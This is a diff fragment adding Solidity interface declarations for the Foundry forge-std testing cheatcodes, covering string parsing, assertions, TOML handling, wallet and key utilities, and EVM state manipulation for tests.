+    /// provided that can later be signed and sent onchain.
+    function startBroadcast(address signer) external;
+
+    /// Has all subsequent calls (at this call depth only) create transactions with the private key
+    /// provided that can later be signed and sent onchain.
+    function startBroadcast(uint256 privateKey) external;
+
+    /// Stops collecting onchain transactions.
+    function stopBroadcast() external;
+
+    // ======== String ========
+
+    /// Parses the given `string` into an `address`.
+    function parseAddress(string calldata stringifiedValue) external pure returns (address parsedValue);
+
+    /// Parses the given `string` into a `bool`.
+    function parseBool(string calldata stringifiedValue) external pure returns (bool parsedValue);
+
+    /// Parses the given `string` into `bytes`.
+    function parseBytes(string calldata stringifiedValue) external pure returns (bytes memory parsedValue);
+
+    /// Parses the given `string` into a `bytes32`.
+    function parseBytes32(string calldata stringifiedValue) external pure returns (bytes32 parsedValue);
+
+    /// Parses the given `string` into a `int256`.
+    function parseInt(string calldata stringifiedValue) external pure returns (int256 parsedValue);
+
+    /// Parses the given `string` into a `uint256`.
+    function parseUint(string calldata stringifiedValue) external pure returns (uint256 parsedValue);
+
+    /// Replaces occurrences of `from` in the given `string` with `to`.
+    function replace(string calldata input, string calldata from, string calldata to) external pure returns (string memory output);
+
+    /// Splits the given `string` into an array of strings divided by the `delimiter`.
+    function split(string calldata input, string calldata delimiter) external pure returns (string[] memory outputs);
+
+    /// Converts the given `string` value to Lowercase.
+    function toLowercase(string calldata input) external pure returns (string memory output);
+
+    /// Converts the given value to a `string`.
+    function toString(address value) external pure returns (string memory stringifiedValue);
+
+    /// Converts the given value to a `string`.
+    function toString(bytes calldata value) external pure returns (string memory stringifiedValue);
+
+    /// Converts the given value to a `string`.
+    function toString(bytes32 value) external pure returns (string memory stringifiedValue);
+
+    /// Converts the given value to a `string`.
+    function toString(bool value) external pure returns (string memory stringifiedValue);
+
+    /// Converts the given value to a `string`.
+    function toString(uint256 value) external pure returns (string memory stringifiedValue);
+
+    /// Converts the given value to a `string`.
+    function toString(int256 value) external pure returns (string memory stringifiedValue);
+
+    /// Converts the given `string` value to Uppercase.
+    function toUppercase(string calldata input) external pure returns (string memory output);
+
+    /// Trims leading and trailing whitespace from the given `string` value.
+    function trim(string calldata input) external pure returns (string memory output);
+
+    // ======== Testing ========
+
+    /// Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.
+    /// Formats values with decimals in failure message.
+    function assertApproxEqAbsDecimal(uint256 left, uint256 right, uint256 maxDelta, uint256 decimals) external pure;
+
+    /// Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertApproxEqAbsDecimal(uint256 left, uint256 right, uint256 maxDelta, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.
+    /// Formats values with decimals in failure message.
+    function assertApproxEqAbsDecimal(int256 left, int256 right, uint256 maxDelta, uint256 decimals) external pure;
+
+    /// Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertApproxEqAbsDecimal(int256 left, int256 right, uint256 maxDelta, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.
+    function assertApproxEqAbs(uint256 left, uint256 right, uint256 maxDelta) external pure;
+
+    /// Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.
+    /// Includes error message into revert string on failure.
+    function assertApproxEqAbs(uint256 left, uint256 right, uint256 maxDelta, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.
+    function assertApproxEqAbs(int256 left, int256 right, uint256 maxDelta) external pure;
+
+    /// Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.
+    /// Includes error message into revert string on failure.
+    function assertApproxEqAbs(int256 left, int256 right, uint256 maxDelta, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    /// Formats values with decimals in failure message.
+    function assertApproxEqRelDecimal(uint256 left, uint256 right, uint256 maxPercentDelta, uint256 decimals) external pure;
+
+    /// Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertApproxEqRelDecimal(uint256 left, uint256 right, uint256 maxPercentDelta, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    /// Formats values with decimals in failure message.
+    function assertApproxEqRelDecimal(int256 left, int256 right, uint256 maxPercentDelta, uint256 decimals) external pure;
+
+    /// Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertApproxEqRelDecimal(int256 left, int256 right, uint256 maxPercentDelta, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    function assertApproxEqRel(uint256 left, uint256 right, uint256 maxPercentDelta) external pure;
+
+    /// Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    /// Includes error message into revert string on failure.
+    function assertApproxEqRel(uint256 left, uint256 right, uint256 maxPercentDelta, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    function assertApproxEqRel(int256 left, int256 right, uint256 maxPercentDelta) external pure;
+
+    /// Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.
+    /// `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%
+    /// Includes error message into revert string on failure.
+    function assertApproxEqRel(int256 left, int256 right, uint256 maxPercentDelta, string calldata error) external pure;
+
+    /// Asserts that two `uint256` values are equal, formatting them with decimals in failure message.
+    function assertEqDecimal(uint256 left, uint256 right, uint256 decimals) external pure;
+
+    /// Asserts that two `uint256` values are equal, formatting them with decimals in failure message.
+    /// Includes error message into revert string on failure.
+    function assertEqDecimal(uint256 left, uint256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Asserts that two `int256` values are equal, formatting them with decimals in failure message.
+    function assertEqDecimal(int256 left, int256 right, uint256 decimals) external pure;
+
+    /// Asserts that two `int256` values are equal, formatting them with decimals in failure message.
+    /// Includes error message into revert string on failure.
+    function assertEqDecimal(int256 left, int256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Asserts that two `bool` values are equal.
+    function assertEq(bool left, bool right) external pure;
+
+    /// Asserts that two `bool` values are equal and includes error message into revert string on failure.
+    function assertEq(bool left, bool right, string calldata error) external pure;
+
+    /// Asserts that two `string` values are equal.
+    function assertEq(string calldata left, string calldata right) external pure;
+
+    /// Asserts that two `string` values are equal and includes error message into revert string on failure.
+    function assertEq(string calldata left, string calldata right, string calldata error) external pure;
+
+    /// Asserts that two `bytes` values are equal.
+    function assertEq(bytes calldata left, bytes calldata right) external pure;
+
+    /// Asserts that two `bytes` values are equal and includes error message into revert string on failure.
+    function assertEq(bytes calldata left, bytes calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `bool` values are equal.
+    function assertEq(bool[] calldata left, bool[] calldata right) external pure;
+
+    /// Asserts that two arrays of `bool` values are equal and includes error message into revert string on failure.
+    function assertEq(bool[] calldata left, bool[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `uint256 values are equal.
+    function assertEq(uint256[] calldata left, uint256[] calldata right) external pure;
+
+    /// Asserts that two arrays of `uint256` values are equal and includes error message into revert string on failure.
+    function assertEq(uint256[] calldata left, uint256[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `int256` values are equal.
+    function assertEq(int256[] calldata left, int256[] calldata right) external pure;
+
+    /// Asserts that two arrays of `int256` values are equal and includes error message into revert string on failure.
+    function assertEq(int256[] calldata left, int256[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two `uint256` values are equal.
+    function assertEq(uint256 left, uint256 right) external pure;
+
+    /// Asserts that two arrays of `address` values are equal.
+    function assertEq(address[] calldata left, address[] calldata right) external pure;
+
+    /// Asserts that two arrays of `address` values are equal and includes error message into revert string on failure.
+    function assertEq(address[] calldata left, address[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `bytes32` values are equal.
+    function assertEq(bytes32[] calldata left, bytes32[] calldata right) external pure;
+
+    /// Asserts that two arrays of `bytes32` values are equal and includes error message into revert string on failure.
+    function assertEq(bytes32[] calldata left, bytes32[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `string` values are equal.
+    function assertEq(string[] calldata left, string[] calldata right) external pure;
+
+    /// Asserts that two arrays of `string` values are equal and includes error message into revert string on failure.
+    function assertEq(string[] calldata left, string[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `bytes` values are equal.
+    function assertEq(bytes[] calldata left, bytes[] calldata right) external pure;
+
+    /// Asserts that two arrays of `bytes` values are equal and includes error message into revert string on failure.
+    function assertEq(bytes[] calldata left, bytes[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two `uint256` values are equal and includes error message into revert string on failure.
+    function assertEq(uint256 left, uint256 right, string calldata error) external pure;
+
+    /// Asserts that two `int256` values are equal.
+    function assertEq(int256 left, int256 right) external pure;
+
+    /// Asserts that two `int256` values are equal and includes error message into revert string on failure.
+    function assertEq(int256 left, int256 right, string calldata error) external pure;
+
+    /// Asserts that two `address` values are equal.
+    function assertEq(address left, address right) external pure;
+
+    /// Asserts that two `address` values are equal and includes error message into revert string on failure.
+    function assertEq(address left, address right, string calldata error) external pure;
+
+    /// Asserts that two `bytes32` values are equal.
+    function assertEq(bytes32 left, bytes32 right) external pure;
+
+    /// Asserts that two `bytes32` values are equal and includes error message into revert string on failure.
+    function assertEq(bytes32 left, bytes32 right, string calldata error) external pure;
+
+    /// Asserts that the given condition is false.
+    function assertFalse(bool condition) external pure;
+
+    /// Asserts that the given condition is false and includes error message into revert string on failure.
+    function assertFalse(bool condition, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than or equal to second.
+    /// Formats values with decimals in failure message.
+    function assertGeDecimal(uint256 left, uint256 right, uint256 decimals) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than or equal to second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertGeDecimal(uint256 left, uint256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than or equal to second.
+    /// Formats values with decimals in failure message.
+    function assertGeDecimal(int256 left, int256 right, uint256 decimals) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than or equal to second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertGeDecimal(int256 left, int256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than or equal to second.
+    function assertGe(uint256 left, uint256 right) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than or equal to second.
+    /// Includes error message into revert string on failure.
+    function assertGe(uint256 left, uint256 right, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than or equal to second.
+    function assertGe(int256 left, int256 right) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than or equal to second.
+    /// Includes error message into revert string on failure.
+    function assertGe(int256 left, int256 right, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than second.
+    /// Formats values with decimals in failure message.
+    function assertGtDecimal(uint256 left, uint256 right, uint256 decimals) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertGtDecimal(uint256 left, uint256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than second.
+    /// Formats values with decimals in failure message.
+    function assertGtDecimal(int256 left, int256 right, uint256 decimals) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertGtDecimal(int256 left, int256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than second.
+    function assertGt(uint256 left, uint256 right) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be greater than second.
+    /// Includes error message into revert string on failure.
+    function assertGt(uint256 left, uint256 right, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than second.
+    function assertGt(int256 left, int256 right) external pure;
+
+    /// Compares two `int256` values. Expects first value to be greater than second.
+    /// Includes error message into revert string on failure.
+    function assertGt(int256 left, int256 right, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than or equal to second.
+    /// Formats values with decimals in failure message.
+    function assertLeDecimal(uint256 left, uint256 right, uint256 decimals) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than or equal to second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertLeDecimal(uint256 left, uint256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than or equal to second.
+    /// Formats values with decimals in failure message.
+    function assertLeDecimal(int256 left, int256 right, uint256 decimals) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than or equal to second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertLeDecimal(int256 left, int256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than or equal to second.
+    function assertLe(uint256 left, uint256 right) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than or equal to second.
+    /// Includes error message into revert string on failure.
+    function assertLe(uint256 left, uint256 right, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than or equal to second.
+    function assertLe(int256 left, int256 right) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than or equal to second.
+    /// Includes error message into revert string on failure.
+    function assertLe(int256 left, int256 right, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than second.
+    /// Formats values with decimals in failure message.
+    function assertLtDecimal(uint256 left, uint256 right, uint256 decimals) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertLtDecimal(uint256 left, uint256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than second.
+    /// Formats values with decimals in failure message.
+    function assertLtDecimal(int256 left, int256 right, uint256 decimals) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than second.
+    /// Formats values with decimals in failure message. Includes error message into revert string on failure.
+    function assertLtDecimal(int256 left, int256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than second.
+    function assertLt(uint256 left, uint256 right) external pure;
+
+    /// Compares two `uint256` values. Expects first value to be less than second.
+    /// Includes error message into revert string on failure.
+    function assertLt(uint256 left, uint256 right, string calldata error) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than second.
+    function assertLt(int256 left, int256 right) external pure;
+
+    /// Compares two `int256` values. Expects first value to be less than second.
+    /// Includes error message into revert string on failure.
+    function assertLt(int256 left, int256 right, string calldata error) external pure;
+
+    /// Asserts that two `uint256` values are not equal, formatting them with decimals in failure message.
+    function assertNotEqDecimal(uint256 left, uint256 right, uint256 decimals) external pure;
+
+    /// Asserts that two `uint256` values are not equal, formatting them with decimals in failure message.
+    /// Includes error message into revert string on failure.
+    function assertNotEqDecimal(uint256 left, uint256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Asserts that two `int256` values are not equal, formatting them with decimals in failure message.
+    function assertNotEqDecimal(int256 left, int256 right, uint256 decimals) external pure;
+
+    /// Asserts that two `int256` values are not equal, formatting them with decimals in failure message.
+    /// Includes error message into revert string on failure.
+    function assertNotEqDecimal(int256 left, int256 right, uint256 decimals, string calldata error) external pure;
+
+    /// Asserts that two `bool` values are not equal.
+    function assertNotEq(bool left, bool right) external pure;
+
+    /// Asserts that two `bool` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(bool left, bool right, string calldata error) external pure;
+
+    /// Asserts that two `string` values are not equal.
+    function assertNotEq(string calldata left, string calldata right) external pure;
+
+    /// Asserts that two `string` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(string calldata left, string calldata right, string calldata error) external pure;
+
+    /// Asserts that two `bytes` values are not equal.
+    function assertNotEq(bytes calldata left, bytes calldata right) external pure;
+
+    /// Asserts that two `bytes` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(bytes calldata left, bytes calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `bool` values are not equal.
+    function assertNotEq(bool[] calldata left, bool[] calldata right) external pure;
+
+    /// Asserts that two arrays of `bool` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(bool[] calldata left, bool[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `uint256` values are not equal.
+    function assertNotEq(uint256[] calldata left, uint256[] calldata right) external pure;
+
+    /// Asserts that two arrays of `uint256` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(uint256[] calldata left, uint256[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `int256` values are not equal.
+    function assertNotEq(int256[] calldata left, int256[] calldata right) external pure;
+
+    /// Asserts that two arrays of `int256` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(int256[] calldata left, int256[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two `uint256` values are not equal.
+    function assertNotEq(uint256 left, uint256 right) external pure;
+
+    /// Asserts that two arrays of `address` values are not equal.
+    function assertNotEq(address[] calldata left, address[] calldata right) external pure;
+
+    /// Asserts that two arrays of `address` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(address[] calldata left, address[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `bytes32` values are not equal.
+    function assertNotEq(bytes32[] calldata left, bytes32[] calldata right) external pure;
+
+    /// Asserts that two arrays of `bytes32` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(bytes32[] calldata left, bytes32[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `string` values are not equal.
+    function assertNotEq(string[] calldata left, string[] calldata right) external pure;
+
+    /// Asserts that two arrays of `string` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(string[] calldata left, string[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two arrays of `bytes` values are not equal.
+    function assertNotEq(bytes[] calldata left, bytes[] calldata right) external pure;
+
+    /// Asserts that two arrays of `bytes` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(bytes[] calldata left, bytes[] calldata right, string calldata error) external pure;
+
+    /// Asserts that two `uint256` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(uint256 left, uint256 right, string calldata error) external pure;
+
+    /// Asserts that two `int256` values are not equal.
+    function assertNotEq(int256 left, int256 right) external pure;
+
+    /// Asserts that two `int256` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(int256 left, int256 right, string calldata error) external pure;
+
+    /// Asserts that two `address` values are not equal.
+    function assertNotEq(address left, address right) external pure;
+
+    /// Asserts that two `address` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(address left, address right, string calldata error) external pure;
+
+    /// Asserts that two `bytes32` values are not equal.
+    function assertNotEq(bytes32 left, bytes32 right) external pure;
+
+    /// Asserts that two `bytes32` values are not equal and includes error message into revert string on failure.
+    function assertNotEq(bytes32 left, bytes32 right, string calldata error) external pure;
+
+    /// Asserts that the given condition is true.
+    function assertTrue(bool condition) external pure;
+
+    /// Asserts that the given condition is true and includes error message into revert string on failure.
+    function assertTrue(bool condition, string calldata error) external pure;
+
+    /// If the condition is false, discard this run's fuzz inputs and generate new ones.
+    function assume(bool condition) external pure;
+
+    /// Writes a breakpoint to jump to in the debugger.
+    function breakpoint(string calldata char) external;
+
+    /// Writes a conditional breakpoint to jump to in the debugger.
+    function breakpoint(string calldata char, bool value) external;
+
+    /// Returns the RPC url for the given alias.
+    function rpcUrl(string calldata rpcAlias) external view returns (string memory json);
+
+    /// Returns all rpc urls and their aliases as structs.
+    function rpcUrlStructs() external view returns (Rpc[] memory urls);
+
+    /// Returns all rpc urls and their aliases `[alias, url][]`.
+    function rpcUrls() external view returns (string[2][] memory urls);
+
+    /// Suspends execution of the main thread for `duration` milliseconds.
+    function sleep(uint256 duration) external;
+
+    // ======== Toml ========
+
+    /// Checks if `key` exists in a TOML table.
+    function keyExistsToml(string calldata toml, string calldata key) external view returns (bool);
+
+    /// Parses a string of TOML data at `key` and coerces it to `address`.
+    function parseTomlAddress(string calldata toml, string calldata key) external pure returns (address);
+
+    /// Parses a string of TOML data at `key` and coerces it to `address[]`.
+    function parseTomlAddressArray(string calldata toml, string calldata key) external pure returns (address[] memory);
+
+    /// Parses a string of TOML data at `key` and coerces it to `bool`.
+    function parseTomlBool(string calldata toml, string calldata key) external pure returns (bool);
+
+    /// Parses a string of TOML data at `key` and coerces it to `bool[]`.
+    function parseTomlBoolArray(string calldata toml, string calldata key) external pure returns (bool[] memory);
+
+    /// Parses a string of TOML data at `key` and coerces it to `bytes`.
+    function parseTomlBytes(string calldata toml, string calldata key) external pure returns (bytes memory);
+
+    /// Parses a string of TOML data at `key` and coerces it to `bytes32`.
+    function parseTomlBytes32(string calldata toml, string calldata key) external pure returns (bytes32);
+
+    /// Parses a string of TOML data at `key` and coerces it to `bytes32[]`.
+    function parseTomlBytes32Array(string calldata toml, string calldata key) external pure returns (bytes32[] memory);
+
+    /// Parses a string of TOML data at `key` and coerces it to `bytes[]`.
+    function parseTomlBytesArray(string calldata toml, string calldata key) external pure returns (bytes[] memory);
+
+    /// Parses a string of TOML data at `key` and coerces it to `int256`.
+    function parseTomlInt(string calldata toml, string calldata key) external pure returns (int256);
+
+    /// Parses a string of TOML data at `key` and coerces it to `int256[]`.
+    function parseTomlIntArray(string calldata toml, string calldata key) external pure returns (int256[] memory);
+
+    /// Returns an array of all the keys in a TOML table.
+    function parseTomlKeys(string calldata toml, string calldata key) external pure returns (string[] memory keys);
+
+    /// Parses a string of TOML data at `key` and coerces it to `string`.
+    function parseTomlString(string calldata toml, string calldata key) external pure returns (string memory);
+
+    /// Parses a string of TOML data at `key` and coerces it to `string[]`.
+    function parseTomlStringArray(string calldata toml, string calldata key) external pure returns (string[] memory);
+
+    /// Parses a string of TOML data at `key` and coerces it to `uint256`.
+    function parseTomlUint(string calldata toml, string calldata key) external pure returns (uint256);
+
+    /// Parses a string of TOML data at `key` and coerces it to `uint256[]`.
+    function parseTomlUintArray(string calldata toml, string calldata key) external pure returns (uint256[] memory);
+
+    /// ABI-encodes a TOML table.
+    function parseToml(string calldata toml) external pure returns (bytes memory abiEncodedData);
+
+    /// ABI-encodes a TOML table at `key`.
+    function parseToml(string calldata toml, string calldata key) external pure returns (bytes memory abiEncodedData);
+
+    /// Takes serialized JSON, converts to TOML and write a serialized TOML to a file.
+    function writeToml(string calldata json, string calldata path) external;
+
+    /// Takes serialized JSON, converts to TOML and write a serialized TOML table to an **existing** TOML file, replacing a value with key = <value_key.>
+    /// This is useful to replace a specific value of a TOML file, without having to parse the entire thing.
+    function writeToml(string calldata json, string calldata path, string calldata valueKey) external;
+
+    // ======== Utilities ========
+
+    /// Compute the address of a contract created with CREATE2 using the given CREATE2 deployer.
+    function computeCreate2Address(bytes32 salt, bytes32 initCodeHash, address deployer) external pure returns (address);
+
+    /// Compute the address of a contract created with CREATE2 using the default CREATE2 deployer.
+    function computeCreate2Address(bytes32 salt, bytes32 initCodeHash) external pure returns (address);
+
+    /// Compute the address a contract will be deployed at for a given deployer address and nonce.
+    function computeCreateAddress(address deployer, uint256 nonce) external pure returns (address);
+
+    /// Derives a private key from the name, labels the account with that name, and returns the wallet.
+    function createWallet(string calldata walletLabel) external returns (Wallet memory wallet);
+
+    /// Generates a wallet from the private key and returns the wallet.
+    function createWallet(uint256 privateKey) external returns (Wallet memory wallet);
+
+    /// Generates a wallet from the private key, labels the account with that name, and returns the wallet.
+    function createWallet(uint256 privateKey, string calldata walletLabel) external returns (Wallet memory wallet);
+
+    /// Derive a private key from a provided mnenomic string (or mnenomic file path)
+    /// at the derivation path `m/44'/60'/0'/0/{index}`.
+    function deriveKey(string calldata mnemonic, uint32 index) external pure returns (uint256 privateKey);
+
+    /// Derive a private key from a provided mnenomic string (or mnenomic file path)
+    /// at `{derivationPath}{index}`.
+    function deriveKey(string calldata mnemonic, string calldata derivationPath, uint32 index) external pure returns (uint256 privateKey);
+
+    /// Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language
+    /// at the derivation path `m/44'/60'/0'/0/{index}`.
+    function deriveKey(string calldata mnemonic, uint32 index, string calldata language) external pure returns (uint256 privateKey);
+
+    /// Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language
+    /// at `{derivationPath}{index}`.
+    function deriveKey(
+        string calldata mnemonic,
+        string calldata derivationPath,
+        uint32 index,
+        string calldata language
+    ) external pure returns (uint256 privateKey);
+
+    /// Gets the label for the specified address.
+    function getLabel(address account) external view returns (string memory currentLabel);
+
+    /// Get a `Wallet`'s nonce.
+    function getNonce(Wallet calldata wallet) external returns (uint64 nonce);
+
+    /// Labels an address in call traces.
+    function label(address account, string calldata newLabel) external;
+
+    /// Adds a private key to the local forge wallet and returns the address.
+    function rememberKey(uint256 privateKey) external returns (address keyAddr);
+
+    /// Signs data with a `Wallet`.
+    function sign(Wallet calldata wallet, bytes32 digest) external returns (uint8 v, bytes32 r, bytes32 s);
+
+    /// Encodes a `bytes` value to a base64url string.
+    function toBase64URL(bytes calldata data) external pure returns (string memory);
+
+    /// Encodes a `string` value to a base64url string.
+    function toBase64URL(string calldata data) external pure returns (string memory);
+
+    /// Encodes a `bytes` value to a base64 string.
+    function toBase64(bytes calldata data) external pure returns (string memory);
+
+    /// Encodes a `string` value to a base64 string.
+    function toBase64(string calldata data) external pure returns (string memory);
+}
+
+/// The `Vm` interface does allow manipulation of the EVM state. These are all intended to be used
+/// in tests, but it is not recommended to use these cheats in scripts.
+interface Vm is VmSafe {
+    // ======== EVM ========
+
+    /// Returns the identifier of the currently active fork. Reverts if no fork is currently active.
+    function activeFork() external view returns (uint256 forkId);
+
+    /// In forking mode, explicitly grant the given address cheatcode access.
+    function allowCheatcodes(address account) external;
+
+    /// Sets `block.chainid`.
+    function chainId(uint256 newChainId) external;
+
+    /// Clears all mocked calls.
+    function clearMockedCalls() external;
+
+    /// Sets `block.coinbase`.
+    function coinbase(address newCoinbase) external;
+
+    /// Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork.
+    function createFork(string calldata urlOrAlias) external returns (uint256 forkId);
+
+    /// Creates a new fork with the given endpoint and block and returns the identifier of the fork.
+    function createFork(string calldata urlOrAlias, uint256 blockNumber) external returns (uint256 forkId);
+
+    /// Creates a new fork with the given endpoint and at the block the given transaction was mined in,
+    /// replays all transaction mined in the block before the transaction, and returns the identifier of the fork.
+    function createFork(string calldata urlOrAlias, bytes32 txHash) external returns (uint256 forkId);
+
+    /// Creates and also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork.
+    function createSelectFork(string calldata urlOrAlias) external returns (uint256 forkId);
+
+    /// Creates and also selects a new fork with the given endpoint and block and returns the identifier of the fork.
+    function createSelectFork(string calldata urlOrAlias, uint256 blockNumber) external returns (uint256 forkId);
+
+    /// Creates and also selects new fork with the given endpoint and at the block the given transaction was mined in,
+    /// replays all transaction mined in the block before the transaction, returns the identifier of the fork.
+    function createSelectFork(string calldata urlOrAlias, bytes32 txHash) external returns (uint256 forkId);
+
+    /// Sets an address' balance.
+    function deal(address account, uint256 newBalance) external;
+
+    /// Removes the snapshot with the given ID created by `snapshot`.
+    /// Takes the snapshot ID to delete.
+    /// Returns `true` if the snapshot was successfully deleted.
+    /// Returns `false` if the snapshot does not exist.
+    function deleteSnapshot(uint256 snapshotId) external returns (bool success);
+
+    /// Removes _all_ snapshots previously created by `snapshot`.
+    function deleteSnapshots() external;
+
+    /// Sets `block.difficulty`.
+    /// Not available on EVM versions from Paris onwards. Use `prevrandao` instead.
+    /// Reverts if used on unsupported EVM versions.
+    function difficulty(uint256 newDifficulty) external;
+
+    /// Dump a genesis JSON file's `allocs` to disk.
+    function dumpState(string calldata pathToStateJson) external;
+
+    /// Sets an address' code.
+    function etch(address target, bytes calldata newRuntimeBytecode) external;
+
+    /// Sets `block.basefee`.
+    function fee(uint256 newBasefee) external;
+
+    /// Returns true if the account is marked as persistent.
+    function isPersistent(address account) external view returns (bool persistent);
+
+    /// Load a genesis JSON file's `allocs` into the in-memory revm state.
+    function loadAllocs(string calldata pathToAllocsJson) external;
+
+    /// Marks that the account(s) should use persistent storage across fork swaps in a multifork setup
+    /// Meaning, changes made to the state of this account will be kept when switching forks.
+    function makePersistent(address account) external;
+
+    /// See `makePersistent(address)`.
+    function makePersistent(address account0, address account1) external;
+
+    /// See `makePersistent(address)`.
+    function makePersistent(address account0, address account1, address account2) external;
+
+    /// See `makePersistent(address)`.
+    function makePersistent(address[] calldata accounts) external;
+
+    /// Reverts a call to an address with specified revert data.
+    function mockCallRevert(address callee, bytes calldata data, bytes calldata revertData) external;
+
+    /// Reverts a call to an address with a specific `msg.value`, with specified revert data.
+    function mockCallRevert(address callee, uint256 msgValue, bytes calldata data, bytes calldata revertData) external;
